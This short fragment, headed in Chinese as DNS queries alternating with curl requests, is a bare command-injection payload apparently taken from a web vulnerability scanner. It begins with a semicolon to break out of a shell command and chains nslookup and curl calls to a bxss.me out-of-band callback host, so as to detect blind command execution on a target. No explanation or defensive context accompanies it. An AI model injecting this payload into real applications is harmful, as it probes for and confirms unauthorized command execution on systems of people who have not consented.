DNS查询与curl请求交替

;(nslookup -q=cname hitwfrvkskfagcbdbd.bxss.me||curl hitwfrvkskfagcbdbd.bxss.me)|(nslookup -q=cname hitwfrvkskfagcbdbd.bxss.me||curl hitwfrvkskfagcbdbd.bxss.me)&(nslookup -q=cname hitwfrvkskfagcbdbd.bxss.me||curl hitwfrvkskfagcbdbd.bxss.me)